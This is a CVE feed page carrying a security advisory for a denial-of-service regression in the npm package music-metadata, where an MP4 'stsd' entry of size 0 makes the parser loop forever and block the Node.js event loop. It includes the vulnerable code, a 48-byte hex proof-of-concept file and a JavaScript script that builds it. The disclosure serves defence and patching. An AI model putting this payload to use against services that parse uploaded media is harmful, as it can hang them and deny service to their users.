Feed/CVE-2026-107391
CVE-2026-107391MEDIUMCVSS 6.2

music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master

Published Oct 8, 2026·Updated Oct 8, 2026

NVD Description

### Summary `StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`. This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships. ### Details `lib/mp4/AtomToken.ts`, `StsdAtom.get()`: ```ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32_BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off)); off += size - Token.UINT32_BE.len; // net advance = size - 4 } ``` - Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`. - With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration. - `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug. ### PoC 48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`. ``` hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80 ``` This builds the malicious buffer inline: ```js import { parseBuffer } from 'music-metadata'; const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0); function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); } const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable'); ``` ``` $ timeout 8 node poc.mjs parsing 48 byte file … # process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time ``` Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone. Version-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped. ### Impact Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. This is the same vulnerability class and CVSS vector as the project's own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.

Affected Packages (1)

music-metadataNPM
Fixed in 11.16.0

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free